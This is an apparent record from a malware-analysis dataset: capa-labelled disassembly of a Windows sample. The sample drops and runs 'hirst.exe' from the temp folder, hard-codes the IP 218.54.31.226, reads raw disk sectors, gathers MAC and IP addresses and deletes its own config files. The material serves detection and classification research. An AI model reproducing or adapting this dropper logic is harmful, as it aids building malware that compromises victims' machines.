joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4019d0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x418], 0
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
call fcn.00404e10
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x401a12
mov eax, dword [ebp - 0x418]
jmp 0x401b93
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409790
add esp, 0xc
xor edx, edx
mov word [ebp - 0x414], dx
push 0x206
push 0
lea eax, [ebp - 0x412]
push eax
call fcn.00409790
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x401a7d
mov edx, dword [ebp - 0x420]
add edx, 1
mov dword [ebp - 0x420], edx
cmp dword [ebp - 0x420], 5
jge 0x401aec
mov eax, dword [ebp - 0x420]
imul eax, eax, 0x118
mov ecx, 2
imul ecx, ecx, 0
movzx edx, word [eax + ecx + 0x41c3a8]
test edx, edx
jne 0x401aa8
jmp 0x401a6e
lea eax, [ebp - 0x20c]
push eax
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call fcn.00405ce9
add esp, 0xc
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
add edx, 0x41c3a8
push edx
push 0x104
lea eax, [ebp - 0x414]
push eax
call fcn.00405d45
add esp, 0xc
jmp 0x401a6e
mov dword [ebp - 0x41c], 0
jmp 0x401b07
mov ecx, dword [ebp - 0x41c]
add ecx, 1
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 5
jge 0x401b58
mov edx, dword [ebp - 0x41c]
imul edx, edx, 0x118
mov eax, 2
imul eax, eax, 0
movzx ecx, word [edx + eax + 0x41c3a8]
test ecx, ecx
jne 0x401b32
jmp 0x401af8
push 1
movzx edx, word [ebp + 0xc]
push edx
mov ecx, dword [ebp - 0x41c]
imul ecx, ecx, 0x118
add ecx, 0x41c3a8
mov edx, dword [ebp + 8]
call fcn.00405710
add esp, 8
jmp 0x401af8
push 0x41c1a0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405d45
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401b8d
mov dword [ebp - 0x418], 2
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x402010
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x64
push 0x41beb8
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x41bdf0
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.00402240
add esp, 4
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004022e0
add esp, 8
test eax, eax
jne 0x402070
xor eax, eax
jmp 0x402230
push 0x6d
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [ebp - 0x238], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x41af08
call fcn.00403a60
call fcn.00402af0
test eax, eax
je 0x4020ad
call fcn.004043a0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401720
test eax, eax
jne 0x4020bd
xor eax, eax
jmp 0x402230
call fcn.00401c00
cmp dword [0x41ce20], 0
jbe 0x4020f4
movzx eax, word [0x41ce24]
test eax, eax
jle 0x4020f4
mov edx, str.218.54.31.226
mov ecx, dword [0x41ce20]
call fcn.00404ba0
mov cx, word [0x41ce24]
mov word [0x41aef4], cx
mov dword [ebp - 0x234], str.hirst.exe
mov dword [ebp - 0x230], 0x41c1a0
mov edx, dword [ebp - 0x230]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x22a], cx
mov edx, dword [ebp - 0x230]
mov ax, word [ebp - 0x22a]
mov word [edx], ax
mov ecx, dword [ebp - 0x234]
add ecx, 2
mov dword [ebp - 0x234], ecx
mov edx, dword [ebp - 0x230]
add edx, 2
mov dword [ebp - 0x230], edx
cmp word [ebp - 0x22a], 0
jne 0x402114
call fcn.00404c20
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409790
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41c1a0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405d45
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x418a94
lea ecx, [ebp - 0x20c]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402650
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], 0
cmp dword [ebp + 8], 0
je 0x402679
cmp dword [ebp + 0xc], 0
jne 0x402683
jmp 0x4027df
cmp dword [ebp + 0x10], 0
je 0x4026d8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
add ecx, 2
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x214]
mov ax, word [edx]
mov word [ebp - 0x216], ax
add dword [ebp - 0x214], 2
cmp word [ebp - 0x216], 0
jne 0x4026a1
mov ecx, dword [ebp - 0x214]
sub ecx, dword [ebp - 0x224]
sar ecx, 1
mov dword [ebp - 0x220], ecx
jne 0x4026e2
jmp 0x4027df
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.00409790
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x40271b
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402763
cmp dword [0x41af08], 3
jne 0x402751
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418ab4
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405d45
add esp, 0xc
jmp 0x402763
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405d45
add esp, 0xc
mov dword [ebp - 0x210], 0
push 0x418ab8
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00405f3c
add esp, 0xc
cmp dword [ebp - 0x210], 0
jne 0x4027ad
jmp 0x4027df
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040620e
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.00406326
add esp, 4
mov dword [ebp - 0x21c], 1
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret

Function at 0x4029f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409790
add esp, 0xc
mov dword [ebp - 0x210], 0
cmp dword [ebp + 8], 0
je 0x402a42
cmp dword [ebp + 0xc], 0
jne 0x402a4c
jmp 0x402acd
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405d45
add esp, 0xc
push 0x418af4
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00405f3c
add esp, 0xc
cmp dword [ebp - 0x210], 0
je 0x402ac3
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004064f4
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.00406326
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x403820
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409790
add esp, 0xc
mov dword [ebp - 0x430], 0
push 0x200
push 0
lea edx, [ebp - 0x40c]
push edx
call fcn.00409790
add esp, 0xc
lea eax, [ebp - 0x40c]
push eax
call fcn.00402800
add esp, 4
test eax, eax
je 0x403a42
mov dword [ebp - 0x428], 0x418c50
mov dword [ebp - 0x418], 0x41c018
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0x438], ecx
mov edx, dword [ebp - 0x428]
mov ax, word [edx]
mov word [ebp - 0x412], ax
mov ecx, dword [ebp - 0x418]
mov dx, word [ebp - 0x412]
mov word [ecx], dx
mov eax, dword [ebp - 0x428]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x418]
add ecx, 2
mov dword [ebp - 0x418], ecx
cmp word [ebp - 0x412], 0
jne 0x4038a9
lea edx, [ebp - 0x386]
mov dword [ebp - 0x424], edx
mov dword [ebp - 0x41c], 0x41c120
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x424]
mov dx, word [ecx]
mov word [ebp - 0x410], dx
mov eax, dword [ebp - 0x41c]
mov cx, word [ebp - 0x410]
mov word [eax], cx
mov edx, dword [ebp - 0x424]
add edx, 2
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x41c]
add eax, 2
mov dword [ebp - 0x41c], eax
cmp word [ebp - 0x410], 0
jne 0x403913
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x420], 0x41c0a0
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x42c]
mov cx, word [eax]
mov word [ebp - 0x40e], cx
mov edx, dword [ebp - 0x420]
mov ax, word [ebp - 0x40e]
mov word [edx], ax
mov ecx, dword [ebp - 0x42c]
add ecx, 2
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x420]
add edx, 2
mov dword [ebp - 0x420], edx
cmp word [ebp - 0x40e], 0
jne 0x40397d
mov ax, word [ebp - 0x388]
mov word [0x41c098], ax
mov cx, word [ebp - 0x2e6]
mov word [0x41c010], cx
mov dword [0x41c00c], 5
cmp dword [0x41af08], 3
je 0x403a05
lea edx, [ebp - 0x20c]
mov ecx, 1
call fcn.00404220
jmp 0x403a12
lea edx, [ebp - 0x20c]
xor ecx, ecx
call fcn.00404220
push str.golfset.ini
push 0x104
lea edx, [ebp - 0x20c]
push edx
call fcn.00405d45
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x430], 1
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x403a60
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x11c
mov esi, ecx
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [esi], 0
call fcn.00409790
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403b0c
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x403add
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x403ac8
cmp eax, 1
jne 0x403b0c
mov dword [esi], 3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x403b0c
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x403b01
mov dword [esi], 4
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x403b0c
mov dword [esi], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405aca
mov esp, ebp
pop ebp
ret

Function at 0x403b20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov edi, edx
mov esi, ecx
call fcn.00409790
add esp, 0xc
cmp dword [0x41af08], 3
lea eax, [ebp - 0x20c]
jne 0x403b8d
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418c88
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405d45
add esp, 0xc
jmp 0x403b99
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x418c8c
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x403c80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, edx
cmp esi, 0xffffffff
je 0x403dae
push 0x400
call fcn.00406bb7
add esp, 4
mov ebx, eax
push 0x400
push 0
push ebx
call fcn.00409790
add esp, 0xc
mov ecx, esi
call fcn.00403e70
xor ecx, ecx
shld ecx, eax, 9
xorps xmm0, xmm0
shl eax, 9
movq qword [esp + 0x14], xmm0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push 0x400
push ebx
movq qword [esp + 0x2c], xmm0
push esi
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x30], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403da5
cmp dword [ebx + 4], 0x5042475f
jne 0x403d6c
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
jmp 0x403d30
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403d30
sub ecx, edx
sar ecx, 1
je 0x403d6c
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00406c49
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
push ebx
push 2
mov edx, 0x1e
mov ecx, esi
call fcn.00403f50
add esp, 8
test eax, eax
je 0x403da5
cmp dword [ebx + 4], 0x5042475f
jne 0x403da5
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403d94
sub ecx, edx
sar ecx, 1
jne 0x403d41
push ebx
call fcn.00406c49
add esp, 4
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00405aca
mov esp, ebp
pop ebp
ret

Function at 0x403dd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov esi, ecx
mov dword [ebp - 0x210], 0
call fcn.00409790
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [ebp - 0x20c]
sub ecx, 0x41
lea edx, [ebp - 0x210]
call fcn.00403fc0
mov ecx, dword [ebp - 0x210]
call fcn.004040b0
cmp eax, 0xffffffff
jne 0x403e56
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
mov edx, esi
mov ecx, eax
call fcn.00403c80
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x403e70
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1ff
xor esi, esi
lea eax, [ebp - 0x207]
push esi
push eax
mov byte [ebp - 0x208], 0
call fcn.00409790
add esp, 0xc
cmp ebx, 0xffffffff
je 0x403f2c
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0x200
lea eax, [ebp - 0x208]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x21c], xmm0
movq qword [ebp - 0x214], xmm0
push ebx
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403f2c
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
mov ecx, dword [ebp - 0xe]
cmovne esi, eax
mov eax, dword [ebp - 0x32]
add eax, dword [ebp - 0x2e]
cmp eax, esi
cmova esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
cmova esi, eax
add ecx, dword [ebp - 0x12]
cmp ecx, esi
cmova esi, ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405aca
mov esp, ebp
pop ebp
ret

Function at 0x403f50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
xor eax, eax
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x18], xmm0
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0
cmp ecx, 0xffffffff
je 0x403faa
shld eax, edx, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
shl eax, 9
push eax
push esi
shl edx, 9
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405aca
mov esp, ebp
pop ebp
ret

Function at 0x404220
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, edx
test ecx, ecx
je 0x404235
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
pop esi
ret
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418c88
push 0x104
push esi
call fcn.00405d45
add esp, 0xc
pop esi
ret
Function at 0x404260
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x418d00
push ecx
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
call fcn.00405f3c
add esp, 0xc
test eax, eax
je 0x4042a5
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 2
push 0
push dword [ebp - 8]
call fcn.00406d10
push dword [ebp - 8]
call fcn.004070e8
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.00406d10
lea eax, [edi + esi]
push eax
mov dword [ebp - 0x10], eax
call fcn.00406bb7
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x14], ebx
call fcn.0040620e
push dword [ebp - 8]
call fcn.00406326
push edi
add ebx, esi
push 0
push ebx
call fcn.00409790
mov eax, edi
cdq
and edx, 3
add esp, 0x40
lea edi, [edx + eax]
sar edi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00407173
add esp, 4
xor esi, esi
test edi, edi
jle 0x40432d
lea ecx, [ecx]
call fcn.00407150
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jl 0x404320
push 0x418d08
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.00405f3c
add esp, 0xc
test eax, eax
je 0x404358
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push 1
push dword [ebp - 0x10]
push esi
call fcn.004064f4
push dword [ebp - 8]
call fcn.00406326
add esp, 0x14
test esi, esi
je 0x404381
push esi
call fcn.00406c49
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov eax, 1
pop edi
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x404940
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3a98
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
mov dword [ebp - 8], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x404a4d
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x4049a7
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x4049b7
cmp ebx, 3
jae 0x404a21
mov eax, dword [ebp - 8]
jmp 0x404963
test edi, edi
jne 0x404a21
mov eax, esi
test esi, esi
je 0x404a1d
cmp dword [eax + 0x34], 6
jne 0x4049cd
cmp dword [eax + 0x1c], 0
jne 0x4049d8
mov eax, dword [eax + 8]
test eax, eax
jne 0x4049c1
xor edi, edi
jmp 0x404a26
mov ecx, dword [eax + 0x2c]
mov edx, dword [ebp - 0xc]
mov dword [edx], ecx
mov cx, word [eax + 0x30]
mov word [edx + 4], cx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 4]
mov byte [edx + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 5]
mov byte [edx + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 6]
mov byte [edx + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [edx], al
xor edi, edi
jmp 0x404a26
mov edi, 0xfffffffd
test esi, esi
je 0x404a3a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x404cd0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.00404e10
mov dword [ebp - 0x418], eax
test eax, eax
jne 0x404df1
push esi
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409790
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.00409790
add esp, 0x18
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41c3a8
jmp 0x404d50
cmp word [esi], 0
je 0x404d83
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405ce9
push esi
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405d45
add esp, 0x18
add esi, 0x118
cmp esi, 0x41c920
jl 0x404d50
mov esi, 0x41c3a8
cmp word [esi], 0
je 0x404dab
push 1
push edi
mov edx, ebx
mov ecx, esi
call fcn.00405710
add esp, 8
add esi, 0x118
cmp esi, 0x41c920
jl 0x404d96
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405d45
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x418]
mov ecx, 2
cmove eax, ecx
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00405aca
mov esp, ebp
pop ebp
ret